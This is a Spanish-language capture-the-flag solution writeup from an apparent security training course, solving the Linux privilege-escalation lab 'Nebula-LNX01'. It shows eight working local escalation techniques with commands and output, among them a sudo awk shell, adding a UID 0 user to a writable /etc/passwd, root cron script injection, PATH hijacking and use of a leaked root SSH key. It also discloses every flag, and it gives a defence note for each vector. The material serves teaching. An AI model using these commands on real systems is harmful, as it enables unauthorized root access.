Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 14SOLO SOLUCIÓN

Writeup — Nebula-LNX01

← Volver al capítulo 14

Atención: contiene las 8 flags. Inténtalo primero por tu cuenta.

Todas las salidas son reales, capturadas explotando el contenedor de verdad tras entrar por SSH como leo.

Enumeración inicial

kali@lab (salida real)
$ ssh leo@localhost -p 2222     # contraseña: leo123
id
uid=1000(leo) gid=1000(leo) groups=1000(leo)
kali@lab
$ sudo -l ; find / -perm -4000 -type f 2>/dev/null ; getcap -r / 2>/dev/null
(leo) NOPASSWD: /usr/bin/awk
/usr/local/bin/readlog
/usr/local/bin/netcheck
/usr/local/bin/pythonsuid cap_setuid=ep

Vector 1 — Binario SUID que lee ficheros

★★

readlog es SUID root y hace cat de la ruta que le pases, sin validarla: lee cualquier fichero como root.

kali@lab (salida real)
$ readlog /root/flag1.txt
GO{suid_binario_que_lee_como_root}

Flag: GO{suid_binario_que_lee_como_root}

Defensa: no hacer SUID binarios que aceptan rutas del usuario; validar la entrada.

Vector 2 — sudo sobre awk

★★

sudo -l muestra NOPASSWD: /usr/bin/awk. Según GTFOBins, awk ejecuta comandos con system():

kali@lab (salida real)
$ sudo awk 'BEGIN{system("cat /root/flag2.txt")}'
GO{sudo_awk_es_una_shell_root}

Flag: GO{sudo_awk_es_una_shell_root}

Defensa: no dar sudo sobre binarios que pueden ejecutar código arbitrario.

Vector 3 — /etc/passwd escribible

★★★

ls -l /etc/passwd lo muestra -rw-rw-rw-. Se añade un usuario UID 0 con una contraseña propia y se hace su:

kali@lab (salida real)
$ echo 'hacker:'$(openssl passwd -1 hackpass)':0:0::/root:/bin/bash' >> /etc/passwd
su hacker    # contraseña: hackpass
id ; cat /root/flag3.txt
uid=0(root) gid=0(root) groups=0(root)
GO{passwd_escribible_es_game_over}

Flag: GO{passwd_escribible_es_game_over}

Defensa: /etc/passwd debe ser 644 y propiedad de root. (Login SSH como UID 0 puede estar bloqueado por PermitRootLogin; por eso se usa su.)

Vector 4 — Cron de root con script editable

★★

En /etc/cron.d/backup, root ejecuta /opt/backup.sh cada minuto, y ese script es escribible por leo. Se le añade un comando y se espera al disparador:

kali@lab (salida real)
$ ls -l /opt/backup.sh    # -rwxrwxr-x leo leo
echo 'cp /root/flag4.txt /tmp/f4.txt; chmod 644 /tmp/f4.txt' >> /opt/backup.sh
# esperar ~1 min
cat /tmp/f4.txt
GO{el_cron_de_root_ejecuta_tu_script}

Flag: GO{el_cron_de_root_ejecuta_tu_script}

Defensa: los scripts ejecutados por cron de root no deben ser modificables por usuarios.

Vector 5 — Capability cap_setuid

★★★

getcap revela cap_setuid+ep en una copia de python. Con ella, el proceso cambia su UID a 0:

kali@lab (salida real)
$ /usr/local/bin/pythonsuid -c 'import os; os.setuid(0); print(open("/root/flag5.txt").read().strip())'
GO{capabilities_cap_setuid_es_root}

Flag: GO{capabilities_cap_setuid_es_root}

Defensa: no asignar cap_setuid (ni cap_dac_*, cap_sys_admin) a intérpretes.

Vector 6 — Secuestro de PATH en un SUID

★★★

netcheck es SUID root y llama a id sin ruta absoluta. Se coloca un id propio en el PATH:

kali@lab (salida real)
$ cd /tmp
printf '#!/bin/bash\ncat /root/flag6.txt\n' > id && chmod +x id
PATH=/tmp:$PATH /usr/local/bin/netcheck
GO{path_hijack_del_binario_suid}

Flag: GO{path_hijack_del_binario_suid}

Defensa: los programas privilegiados deben invocar los binarios con ruta absoluta.

Vector 7 — Credenciales reutilizadas → maya

★★

Un backup legible filtra la contraseña de maya, reutilizada para su cuenta del sistema. Es la única flag que no está en root, sino en el home de maya:

kali@lab (salida real)
$ cat /var/backups/site.conf
db_user=maya
db_pass=maya-Th3-Cat!   # reutilizada para la cuenta del sistema
kali@lab (salida real)
$ su maya    # contraseña: maya-Th3-Cat!
cat /home/maya/flag7.txt
GO{credenciales_reutilizadas_su_a_maya}

Flag: GO{credenciales_reutilizadas_su_a_maya}

Defensa: no dejar credenciales en ficheros legibles ni reutilizarlas entre servicios y cuentas.

Vector 8 — Clave SSH privada de root filtrada

★★

Un backup deja legible la clave privada SSH de root. Con ella se entra por SSH directamente como root:

kali@lab (salida real)
$ cp /var/backups/id_rsa_root.bak /tmp/k && chmod 600 /tmp/k
ssh -i /tmp/k root@localhost 'cat /root/flag8.txt'
GO{la_forma_de_escalar_estaba_en_un_secreto}

Flag: GO{la_forma_de_escalar_estaba_en_un_secreto}

Defensa: las claves privadas nunca deben acabar en backups o rutas legibles por otros usuarios.

Resumen

#VectorSeñal en la enumeración
1SUID que lee ficherosfind -perm -4000 → readlog
2sudo awksudo -l → NOPASSWD awk
3/etc/passwd escribiblels -l /etc/passwd → 666
4cron con script editable/etc/cron.d/ + script escribible
5capability cap_setuidgetcap -r /
6secuestro de PATHSUID que llama a binario sin ruta
7credenciales reutilizadascontraseña en /var/backups
8clave SSH filtradaid_rsa en un backup legible